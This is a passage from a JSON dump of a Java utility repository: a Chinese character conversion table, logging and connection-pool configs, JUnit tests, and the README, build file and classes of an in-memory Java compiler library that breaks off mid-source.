鷹=鹰\n鷺=鹭\n鷽=鸴\n鷿=䴙\n鸂=㶉\n鸇=鹯\n鸌=鹱\n鸏=鹲\n鸕=鸬\n鸘=鹴\n鸚=鹦\n鸛=鹳\n鸝=鹂\n鸞=鸾\n鹵=卤\n鹹=咸\n鹺=鹾\n鹼=碱\n鹽=盐\n麗=丽\n麥=麦\n麨=𪎊\n麩=麸\n麪=面\n麫=面\n麯=曲\n麲=𪎉\n麳=𪎌\n麴=曲\n麵=面\n麼=么\n麽=么\n黃=黄\n黌=黉\n點=点\n黨=党\n黲=黪\n黴=霉\n黶=黡\n黷=黩\n黽=黾\n黿=鼋\n鼉=鼍\n鼕=冬\n鼴=鼹\n齇=齄\n齊=齐\n齋=斋\n齎=赍\n齏=齑\n齒=齿\n齔=龀\n齕=龁\n齗=龂\n齙=龅\n齜=龇\n齟=龃\n齠=龆\n齡=龄\n齣=出\n齦=龈\n齪=龊\n齬=龉\n齲=龋\n齶=腭\n齷=龌\n龍=龙\n龎=厐\n龐=庞\n龔=龚\n龕=龛\n龜=龟\n𡞵=㛟\n𡠹=㛿\n𡢃=㛠\n𡻕=岁\n𤪺=㻘\n𤫩=㻏\n𦪙=䑽\n𧜵=䙊\n𧝞=䘛\n𧩙=䜥\n𧵳=䞌\n𨋢=䢂\n𨥛=𨱀\n𨦫=䦀\n𨧜=䦁\n𨧱=𨱊\n𨫒=𨱐\n𨮂=𨱕\n𨯅=䥿\n𩎢=𩏾\n𩏪=𩏽\n𩓣=𩖕\n𩗀=𩙦\n𩗡=𩙧\n𩘀=𩙩\n𩘝=𩙭\n𩘹=𩙨\n𩘺=𩙬\n𩙈=𩙰\n𩜦=𩠆\n𩝔=𩠋\n𩞯=䭪\n𩟐=𩠅\n𩡺=𩧦\n𩢡=𩧬\n𩢴=𩧵\n𩢸=𩧳\n𩢾=𩧮\n𩣏=𩧶\n𩣑=䯃\n𩣵=𩧻\n𩣺=𩧼\n𩤊=𩧩\n𩤙=𩨆\n𩤲=𩨉\n𩤸=𩨅\n𩥄=𩨋\n𩥇=𩨍\n𩥉=𩧱\n𩥑=𩨌\n𩧆=𩨐\n𩵩=𩽺\n𩵹=𩽻\n𩶘=䲞\n𩶰=𩽿\n𩶱=𩽽\n𩷰=𩾄\n𩸃=𩾅\n𩸦=𩾆\n𩽇=𩾎\n𩿪=𪉄\n𪀦=𪉅\n𪀾=𪉋\n𪁈=𪉉\n𪁖=𪉌\n𪂆=𪉎\n𪃍=𪉐\n𪃏=𪉏\n𪄆=𪉔\n𪄕=𪉒\n𪇳=𪉕\n𪘀=𪚏\n𪘯=𪚐"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/resources/log4j.properties",
    "content": "#设置日志等级\nlog4j.rootLogger = debug,stdout\n\n#设置输出流\nlog4j.appender.stdout = org.apache.log4j.ConsoleAppender\nlog4j.appender.stdout.Target = System.out\nlog4j.appender.stdout.Threshold = DEBUG \nlog4j.appender.stdout.layout = org.apache.log4j.PatternLayout\nlog4j.appender.stdout.layout.ConversionPattern =  [%-d{yyyy-MM-dd HH:mm:ss}] [%p][%c{2}:%L#][%t:%rms] %m%n\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/java/com/jun/plugin/commons/test/Test.java",
    "content": "package com.jun.plugin.commons.test;\n\npublic class Test {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/java/com/jun/plugin/commons/util/CommonTest.java",
    "content": "package com.jun.plugin.commons.util;\n\n\n\npublic class CommonTest {\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(Integer.MAX_VALUE);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/java/com/jun/plugin/commons/util/DateUtilTest.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport java.util.Calendar;\nimport java.util.Date;\n\nimport org.junit.Assert;\nimport org.junit.Test;\n\nimport com.jun.plugin.commons.util.DateUtil;\n\npublic class DateUtilTest {\n\t/**\n\t * 日期测试\n\t */\n\t@Test\n\tpublic void dateTest() {\n\t\tString dateStr = \"2013-01-13\";\n\t\tDate date = DateUtil.parseDate(dateStr);\n\t\tString dateStr_after = DateUtil.formatDate(date);\n\t\tAssert.assertEquals(dateStr_after, dateStr);\n\t}\n\t\n\t/**\n\t * 日期时间测试\n\t */\n\t@Test\n\tpublic void datetimeTest() {\n\t\tString dateStr = \"2013-01-13 11:33:20\";\n\t\tDate date = DateUtil.parseDateTime(dateStr);\n\t\tString dateStr_after = DateUtil.formatDateTime(date);\n\t\tAssert.assertEquals(dateStr_after, dateStr);\n\t}\n\t\n\t/**\n\t * 时间偏移测试\n\t */\n\t@Test\n\tpublic void getOffsiteDateTest() {\n\t\tDate offsiteDate = DateUtil.getOffsiteDate(DateUtil.parseDateTime(\"2013-01-13 11:33:20\"), Calendar.DAY_OF_MONTH, 1);\n\t\tAssert.assertEquals(\"2013-01-14 11:33:20\", DateUtil.formatDateTime(offsiteDate));\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\t//当前时间\n\t\tSystem.out.println(\"Now: \" + DateUtil.now());\n\t\t//当天日期\n\t\tSystem.out.println(\"Today: \" + DateUtil.today());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/java/com/jun/plugin/commons/util/SecureUtilTest.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport org.junit.Assert;\nimport org.junit.Test;\n\nimport com.jun.plugin.commons.util.SecureUtil;\n\npublic class SecureUtilTest {\n\t@Test\n\tpublic void getMd5Test() {\n\t\tString key = \"abc\";\n\t\t\n\t\tString md5 = SecureUtil.md5(key);\n\t\tString sha1 = SecureUtil.sha1(key);\n\t\tlong crc32 = SecureUtil.crc32(key);\n\t\t\n\t\tAssert.assertEquals(md5, \"kAFQmDzST7DWlj99KOF/cg==\");\n\t\tAssert.assertEquals(sha1, \"qZk+NkcGgWq6PiVxeFDCbJzQ2J0=\");\n\t\tAssert.assertEquals(crc32, 891568578L);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/java/com/jun/plugin/commons/util/SettingTest.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport org.junit.Assert;\nimport org.junit.Test;\n\nimport com.jun.plugin.commons.util.Setting;\n\npublic class SettingTest {\n\tprivate Setting setting = new Setting(\"config/example.setting\", \"utf8\", true);\n\t\n\t/**\n\t * 普通键值对测试\n\t */\n\t@Test\n\tpublic void settingTest() {\n\n\t\tboolean bool = setting.getBool(\"bool.key\");\n\t\tchar char1 = setting.getChar(\"char.key\");\n\t\tString string = setting.getString(\"string1\");\n\t\tString string2 = setting.getString(\"string2\");\n\t\t\n\t\tAssert.assertTrue(bool);\n\t\tAssert.assertEquals(char1, 'A');\n\t\tAssert.assertEquals(string, \"String of value\");\n\t\tAssert.assertEquals(string2, \"String of value other\");\n\t\t\n\t}\n\t\n\t/**\n\t * 带有分组的键值测试\n\t */\n\t@Test\n\tpublic void settingGroupTest() {\n\t\tString group = \"group1\";\n\t\tboolean g_bool = setting.getBool(\"bool.key\", group);\n\t\tchar g_char1 = setting.getChar(\"char.key\", group);\n\t\tString g_string = setting.getString(\"string1\", group);\n\t\tString g_string2 = setting.getString(\"string2\", group);\n\t\t\n\t\tAssert.assertTrue(g_bool);\n\t\tAssert.assertEquals(g_char1, 'B');\n\t\tAssert.assertEquals(g_string, \"String of value with group\");\n\t\tAssert.assertEquals(g_string2, \"String of value with group append string\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/java/com/jun/plugin/commons/util/TestViterbi.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport com.jun.plugin.commons.util.log.LogUtil;\nimport com.jun.plugin.commons.util.maths.Matrix;\nimport com.jun.plugin.commons.util.maths.algorithm.Viterbi;\n\npublic class TestViterbi\n{\n\n\t/**\n\t * TestMatrix.main()\n\t * @param args\n\t * @return void\n\t * Author：WSK\n\t * 2013-5-10 下午06:10:13\n\t */\n\tpublic static void main(String[] args)\n\t{\n\t\tMatrix tran=new Matrix(3, 3);\n\t\tDouble[] row0={0.4,0.3,0.3};\n\t\tDouble[] row1={0.5,0.2,0.3};\n\t\tDouble[] row2={0.6,0.2,0.2};\n\t\ttran.setRowValue(0, row0);\n\t\ttran.setRowValue(1, row1);\n\t\ttran.setRowValue(2, row2);\n\t\tMatrix prob=new Matrix(3, 3);\n\t\tDouble[] prow0={0.1,0.4,0.5};\n\t\tDouble[] prow1={0.6,0.3,0.1};\n\t\tDouble[] prow2={0.4,0.4,0.2};\n\t\tprob.setRowValue(0, prow0);\n\t\tprob.setRowValue(1, prow1);\n\t\tprob.setRowValue(2, prow2);\n\t\tObject[] states={\"Rainy\",\"Sunny\",\"Cloudy\"};\n\t\tObject[] observes={\"Walk\",\"Shop\",\"Clean\"};\n\t\t\n\t\tViterbi viterbi=new Viterbi(tran, prob, states, observes);\n\t\tint[] obs={0,1,1,2,2,1,2,0,2,2,2,2,0,0};\n\t\tdouble[] start={0.9,0.05,0.05};\n\t\tStringBuilder sb=new StringBuilder();\n\t\tfor(int i=0;i<obs.length;++i)\n\t\t{\n\t\t\tsb.append(i==0?\"\":\"->\").append(obs[i]);\n\t\t}\n\t\tLogUtil.getLogger().info(\"观测的结果为:\"+sb.toString());\n\t\tLogUtil.getLogger().info(\"使用维特比算法...\");\n\t\tLogUtil.getLogger().info(\"维特比算法\"+(viterbi.viterbi(obs, start)?\"执行成功\":\"执行失败\"));\n\t\tLogUtil.getLogger().info(\"最可能的天气为:\"+viterbi.getMaxPath());\n\t\tLogUtil.getLogger().info(\"概率:\"+viterbi.getMaxProb());\t\t\n\t\tLogUtil.getLogger().info(\"总概率:\"+viterbi.getAllProb());\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/java/com/jun/plugin/commons/util/ZhUtilTest.java",
    "content": "package com.jun.plugin.commons.util;\n\nimport org.junit.Assert;\nimport org.junit.Test;\n\nimport com.jun.plugin.commons.util.ZhUtil;\n\npublic class ZhUtilTest {\n\t@Test\n\tpublic void zhUtilTest(){\n\t\t//全角To半角\n\t\tString str1 = ZhUtil.toDBC(\"处理的符号：，！    不处理的符号『』【】\");\n\t\tAssert.assertEquals(\"处理的符号:,!    不处理的符号『』【】\", str1);\n\t\t\n\t\t//半角To全角\n\t\tString str2 = ZhUtil.toSBC(\"处理的符号,.\");\n\t\tAssert.assertEquals(\"处理的符号，．\", str2);\n\t\t\n\t\t//简体转繁体\n\t\tZhUtil.initS2T();\n\t\tString t_str1 = ZhUtil.toTraditional(\"简体到繁体中文\");\n\t\tAssert.assertEquals(\"簡體到繁體中文\", t_str1);\n\t\t\n\t\t//繁体转简体\n\t\tZhUtil.initS2T();\n\t\tString s_str2 = ZhUtil.toSimplified(\"簡體中文到繁體中文轉換這件事沒有捷徑，只能硬來。\");\n\t\tAssert.assertEquals(\"简体中文到繁体中文转换这件事没有捷径，只能硬来。\", s_str2);\n\t\t\n\t\t//调用我是为了释放资源，要是不调那一堆替换的map可就一直自内存里呆着。\n\t\tZhUtil.clean();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/java/com/jun/plugin/commons/util/wordSraech/WordSearchTest.java",
    "content": "package com.jun.plugin.commons.util.wordSraech;\n\nimport java.util.List;\n\nimport org.junit.Assert;\nimport org.junit.Test;\n\nimport com.jun.plugin.commons.util.wordSearch.Words;\n\npublic class WordSearchTest {\n\t@Test\n\tpublic void wordSearchTest() {\n\t\tWords words = new Words();\n\t\t//----------------------------添加敏感词 start\n\t\twords.addWord(\"敏感词1\");\n\t\twords.addWord(\"敏感词2\");\n\t\twords.addWord(\"敏感词3\");\n\t\twords.addWord(\"敏感词4\");\n\t\twords.addWord(\"敏感词5\");\n\t\t//----------------------------添加敏感词 end\n\t\t\n\t\tString content = \"我是一句话，我包含了敏感词2，你能找到敏感词2吗？还有敏  感  词4\";\n\t\t//给定文本是否包含敏感词\n\t\tAssert.assertTrue(words.contains(content));\n\t\t//返回第一个找到的敏感词\n\t\tString firstWord = words.getFindedFirstWord(content);\n\t\t//返回找到的所有敏感词\n\t\tList<String> allWords = words.getFindedAllWords(content);\n\t\t\n\t\tAssert.assertEquals(firstWord, \"敏感词2\");\n\t\tAssert.assertEquals(firstWord, \"敏感词2\");\n\t\tAssert.assertArrayEquals(new String[]{\"敏感词2\", \"敏感词2\", \"敏感词4\"}, allWords.toArray());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/resources/c3p0-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<c3p0-config>\n\t<default-config>\n\t\t<property name=\"maxConnectionAge\">1800</property>\n\t\t<!--检查所有连接池中的空闲连接间隔。Default: 0 -->\n\t\t<property name=\"idleConnectionTestPeriod\">60</property>\n\t\t<!--定义所有连接测试都执行的测试语句。在使用连接测试的情况下这个一显著提高测试速度。Default: null -->\n\t\t<property name=\"preferredTestQuery\">select 1</property>\n\t\t<!--如果设为true那么在取得连接的同时将校验连接的有效性。Default: false -->\n\t\t<property name=\"testConnectionOnCheckin\">true</property>\n\n\t\t<!--初始化时获取连接个数，取值应在minPoolSize与maxPoolSize之间。Default: 3 -->\n\t\t<property name=\"initialPoolSize\">1</property>\n\t\t<!-- 连接池中最小连接数 -->\n\t\t<property name=\"minPoolSize\">1</property>\n\t\t<!-- 连接池中最大连接数 -->\n\t\t<property name=\"maxPoolSize\">100</property>\n\t\t<!--当连接池中的连接耗尽的时候c3p0一次同时获取的连接数。Default: 3 -->\n\t\t<property name=\"acquireIncrement\">1</property>\n\t</default-config>\n</c3p0-config>"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/resources/config/db.setting",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/resources/config/druid.setting",
    "content": "#------------------------------------------------\n#Druid 配置文件\n#------------------------------------------------\n\n# 配置初始化大小、最小、最大\ninitialSize = 1\nminIdle = 1\nmaxActive = 20\n\n# 配置获取连接等待超时的时间，单位：毫秒\nmaxWait = 60000\n\n# 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒\ntimeBetweenEvictionRunsMillis = 60000\n\n# 配置一个连接在池中最小生存的时间，单位是毫秒\nminEvictableIdleTimeMillis = 60000\n\n# 测试连接的SQL, 并指定测试的时期\nvalidationQuery = SELECT 1\ntestWhileIdle = true\ntestOnBorrow = false\ntestOnReturn = false\n\n# 打开PSCache，并且指定每个连接上PSCache的大小, 如果用Oracle，则把poolPreparedStatements配置为true，mysql必须设为false，并注释maxPoolPreparedStatementPerConnectionSize。\npoolPreparedStatements = false\n#maxPoolPreparedStatementPerConnectionSize = 20\n\n# 配置监控统计拦截的filters\nfilters = stat"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/resources/config/example.setting",
    "content": "# **************************************************************\n# ----- Setting File with UTF8-----\n# ----- 样例配置文件 -----\n# **************************************************************\n\nbool.key = true\nchar.key = A\nstring1 = String of value\nstring2 = ${string1} other\n\n[group1]\nbool.key = true\nchar.key = B\nstring1 = String of value with group\nstring2 = ${group1.string1} append string"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/test/resources/readme.txt",
    "content": "ddd"
  },
  {
    "path": "jun_java_plugins/jun_compiler/.gitignore",
    "content": "*.class\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# Package Files #\n*.jar\n*.war\n*.ear\n\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\nhs_err_pid*\n/.classpath\n/.project\n/target\n/.settings\n"
  },
  {
    "path": "jun_java_plugins/jun_compiler/README.md",
    "content": "# 第一部分 简介\n`JCompiler`是用`Java` 编写的用来将`Java源代码`动态编译为`字节码`的辅助工具，开发者可以动态生成源代码并在内存中将其进行编译并获得编译后的类对象。\n\n# 第二部分 开始使用\n使用`JCompiler`可以直接下载源代码编译或者下载已经编译的`jar`文件，如果您是使用`maven`来构建项目，也可以直接在`pom.xml`中添加`JCompiler`的坐标：\n\n[![Maven central](https://maven-badges.herokuapp.com/maven-central/com.jianggujin/JCompiler/badge.svg)](https://maven-badges.herokuapp.com/maven-central/com.jianggujin/JCompiler)\n\n```xml\n<!-- http://mvnrepository.com/artifact/com.jianggujin/JCompiler -->\n<dependency>\n    <groupId>com.jianggujin</groupId>\n    <artifactId>JCompiler</artifactId>\n    <version>最新版本</version>\n</dependency>\n```\n\n最新的版本可以从[Maven仓库](http://mvnrepository.com/artifact/com.jianggujin/JCompiler)或者[码云](https://gitee.com/jianggujin/JCompiler)获取。\n\n如果使用快照`SNAPSHOT`版本需要添加仓库，且版本号为快照版本 [点击查看最新快照版本号](https://oss.sonatype.org/content/repositories/snapshots/com/jianggujin/JCompiler/)\n\n```xml\n<repository>\n    <id>snapshots</id>\n    <url>https://oss.sonatype.org/content/repositories/snapshots/</url>\n</repository>\n```\n\n一个例子：\n\n假设我们有一个接口`Parent`，其代码如下：\n\n```java\npublic interface Parent {\n    void say();\n}\n```\n\n> 定义接口是为了动态生成的类对象方便调用，也可以通过其他方式，此处仅仅是为了演示\n\n我们可以准备一个代码片段如下：\n\n```java\npackage com.jianggujin.compiler.test;\npublic class Test implements com.jianggujin.compiler.test.CompileTest.Parent {\n    public void say() {\n        System.out.println(\"this is dynamic compile class.\");\n    }\n}\n```\n\n> 此处的代码片段为字符串变量`content`的值，并非直接编写的源代码\n\n然后我们仅需要简单的几行代码即可实现对上面的代码片段进行编译执行：\n\n```java\nJMemoryJavaCompiler compiler = new JMemoryJavaCompiler();\nJCompileResult result = compiler.compile(content);\nSystem.out.println(result);\nif (result.isSuccess()) {\n    ((Parent) result.newInstance()).say();\n}\ncompiler.close();\n```\n\n> 完整代码参见单元测试代码：`src/test/java/com/jianggujin/compiler/test/CompileTest.java`"
  },
  {
    "path": "jun_java_plugins/jun_compiler/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_compiler</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n     \n    <distributionManagement>\n        <snapshotRepository>\n            <id>oss</id>\n            <url>https://oss.sonatype.org/content/repositories/snapshots</url>\n        </snapshotRepository>\n        <repository>\n            <id>oss</id>\n            <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n    </distributionManagement>\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <jdk.version>1.8</jdk.version>\n        <!-- dependency -->\n        <junit.version>4.12</junit.version>\n        <!-- plugin -->\n        <maven-compiler-plugin.version>3.1</maven-compiler-plugin.version>\n        <maven-surefire-plugin.version>2.18.1</maven-surefire-plugin.version>\n        <maven-source-plugin.version>2.2.1</maven-source-plugin.version>\n        <maven-javadoc-plugin.version>2.10.3</maven-javadoc-plugin.version>\n        <maven-gpg-plugin.version>1.5</maven-gpg-plugin.version>\n        <nexus-staging-maven-plugin.version>1.6.7</nexus-staging-maven-plugin.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>${junit.version}</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>${maven-compiler-plugin.version}</version>\n                <configuration>\n                    <source>${jdk.version}</source>\n                    <target>${jdk.version}</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>${maven-surefire-plugin.version}</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>${maven-source-plugin.version}</version>\n                <executions>\n                    <execution>\n                        <id>attach-sources</id>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n                <configuration>\n                    <attach>true</attach>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>${maven-javadoc-plugin.version}</version>\n                <executions>\n                    <execution>\n                        <id>attach-javadoc</id>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                    </execution>\n                </executions>\n                <configuration>\n                    <show>public</show>\n                    <charset>UTF-8</charset>\n                    <encoding>UTF-8</encoding>\n                    <docencoding>UTF-8</docencoding>\n                    <failOnError>false</failOnError>\n                    <links>\n                        <link>http://docs.oracle.com/javase/6/docs/api</link>\n                    </links>\n                </configuration>\n            </plugin>\n            <!--<plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-gpg-plugin</artifactId>\n                <version>${maven-gpg-plugin.version}</version>\n                <executions>\n                    <execution>\n                        <id>sign-artifacts</id>\n                        <phase>verify</phase>\n                        <goals>\n                            <goal>sign</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>-->\n            <plugin>\n                <groupId>org.sonatype.plugins</groupId>\n                <artifactId>nexus-staging-maven-plugin</artifactId>\n                <version>${nexus-staging-maven-plugin.version}</version>\n                <extensions>true</extensions>\n                <configuration>\n                    <serverId>oss</serverId>\n                    <nexusUrl>https://oss.sonatype.org/</nexusUrl>\n                    <autoReleaseAfterClose>true</autoReleaseAfterClose>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_compiler/src/main/java/com/jun/plugin/compiler/JAbstractJavaFileObject.java",
    "content": "/**\n * Copyright 2020 jianggujin (www.jianggujin.com).\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.jun.plugin.compiler;\n\nimport java.net.URI;\n\nimport javax.tools.SimpleJavaFileObject;\n\n/**\n * Java文件对象，自动转换URI\n * \n * @author jianggujin\n *\n */\npublic abstract class JAbstractJavaFileObject extends SimpleJavaFileObject {\n\n    public JAbstractJavaFileObject(String className, Kind kind) {\n        super(URI.create(\"string:///\" + className.replace(\".\", \"/\") + Kind.SOURCE.extension), kind);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_compiler/src/main/java/com/jun/plugin/compiler/JCompileBytesClassLoader.java",
    "content": "/**\n * Copyright 2020 jianggujin (www.jianggujin.com).\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.jun.plugin.compiler;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\n/**\n * 编译后的字节码加载器\n * \n * @author jianggujin\n *\n */\npublic class JCompileBytesClassLoader extends ClassLoader {\n\n    public JCompileBytesClassLoader() {\n        this(Thread.currentThread().getContextClassLoader());\n    }\n\n    public JCompileBytesClassLoader(ClassLoader parent) {\n        super(parent);\n    }\n\n    /**\n     * 加载编译后的字节码\n     */\n    public Class<?> loadCompileBytesClass(String className, byte[] compileBytes) {\n        return new JCompileBytesClassLoader().defineClass(className, compileBytes, 0, compileBytes.length);\n    }\n\n    /**\n     * 加载编译后的字节码\n     * \n     */\n    public Class<?> loadCompileBytesClass(String className, InputStream compileBytes) throws IOException {\n        ByteArrayOutputStream stream = new ByteArrayOutputStream();\n        byte[] buffer = new byte[256];\n        int len = -1;\n        while ((len = compileBytes.read(buffer)) != -1) {\n            stream.write(buffer, 0, len);\n        }\n        stream.flush();\n        return this.loadCompileBytesClass(className, stream.toByteArray());\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_compiler/src/main/java/com/jun/plugin/compiler/JCompileResult.java",
    "content": "/**\n * Copyright 2020 jianggujin (www.jianggujin.com).\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.jun.plugin.compiler;\n\nimport javax.tools.Diagnostic;\nimport javax.tools.DiagnosticCollector;\nimport javax.tools.JavaFileObject;\n\n/**\n * 编译结果\n * \n * @author jianggujin\n *\n */\npublic class JCompileResult {\n    /**\n     * 编译结果\n     */\n    private final boolean success;\n    /**\n     * 编译用时\n     */\n    private final long useTime;\n    /**\n     * 编译诊断信息\n     */\n    private final DiagnosticCollector<JavaFileObject> diagnosticCollector;\n    /**\n     * 类名\n     */\n    private final String className;\n    /**\n     * 编译后的字节码\n     */\n    private final byte[] compiledBytes;\n    /**\n     * 编译后的类\n     */\n    private Class<?> compiledClass;\n\n    public JCompileResult(boolean success, long useTime, DiagnosticCollector<JavaFileObject> diagnosticCollector,\n            String className, byte[] compiledBytes) {\n        this.success = success;\n        this.useTime = useTime;\n        this.diagnosticCollector = diagnosticCollector;\n        this.className = className;\n        this.compiledBytes = compiledBytes;\n    }\n\n    /**\n     * 是否成功\n     * \n     */\n    public boolean isSuccess() {\n        return success;\n    }\n\n    /**\n     * 获得编译使用时间\n     * \n     */\n    public long getUseTime() {\n        return useTime;\n    }\n\n    public DiagnosticCollector<JavaFileObject> getDiagnosticCollector() {\n        return diagnosticCollector;\n    }\n\n    /**\n     * 将诊断结果转换为字符串\n     * \n     */\n    public String getDiagnostics() {\n        StringBuilder builder = new StringBuilder();\n        for (Diagnostic<? extends JavaFileObject> diagnostic : this.diagnosticCollector.getDiagnostics()) {\n            builder.append(diagnostic.toString()).append(\"\\r\\n\");\n        }\n        return builder.toString();\n    }\n\n    /**\n     * 获得类名\n     * \n     */\n    public String getClassName() {\n        return className;\n    }\n\n    /**\n     * 获得编译后字节码的字节数组\n     * \n     */\n    public byte[] getCompiledBytes() {\n        return compiledBytes;\n    }\n\n    /**\n     * 创建对象\n     * \n     */\n    public Object newInstance() throws Exception {\n        return this.getCompiledClass().newInstance();\n    }\n\n    /**\n     * 获得编译后的类\n     * \n     */\n    public Class<?> getCompiledClass() {\n        if (this.compiledClass == null) {\n            synchronized (this) {\n                if (this.compiledClass == null) {\n                    this.compiledClass = new JCompileBytesClassLoader().loadCompileBytesClass(this.className,\n                            this.compiledBytes);\n                }\n            }\n        }\n        return this.compiledClass;\n    }\n\n    @Override\n    public String toString() {\n        return \"[success=\" + success + \", useTime=\" + useTime + \", className=\" + className + \", diagnostics=\"\n                + getDiagnostics() + \"]\";\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_compiler/src/main/java/com/jun/plugin/compiler/JMemoryJavaCompiler.java",
    "content": "/**\n * Copyright 2020 jianggujin (www.jianggujin.com).\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.jun.plugin.compiler;\n\nimport java.io.Closeable;\nimport java.io.IOException;\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport javax.tools.DiagnosticCollector;\nimport javax.tools.JavaCompiler;\nimport javax.tools.JavaCompiler.CompilationTask;\nimport javax.tools.JavaFileObject;\nimport javax.tools.StandardJavaFileManager;\nimport javax.tools.ToolProvider;\n\n/**\n * Java内存编译器\n * \n * @author jianggujin\n *\n */\npublic class JMemoryJavaCompiler implements Closeable {\n    private final Pattern packagePattern = Pattern.compile(\"package\\\\s+(\\\\S+)\\\\s*;\");\n    private final Pattern classPattern = Pattern.compile(\"class\\\\s+(\\\\S+)\\\\s+\");\n    /**\n     * 获取编译器实例\n     */\n    private final JavaCompiler compiler;\n    /**\n     * 标准文件管理器\n     */\n    private final StandardJavaFileManager standardFileManager;\n    /**\n     * 内存文件管理器\n     */\n    private final JMemoryJavaFileManage memoryJavaFileManage;\n\n    private final ConcurrentHashMap<String, Object> parallelLockMap;\n\n    public JMemoryJavaCompiler() {\n        this(true);\n    }\n\n    /**\n     * 构造方法\n     * \n     * @param paralleLock 编译并行锁\n     */\n    public JMemoryJavaCompiler(boolean paralleLock) {\n        this.compiler = 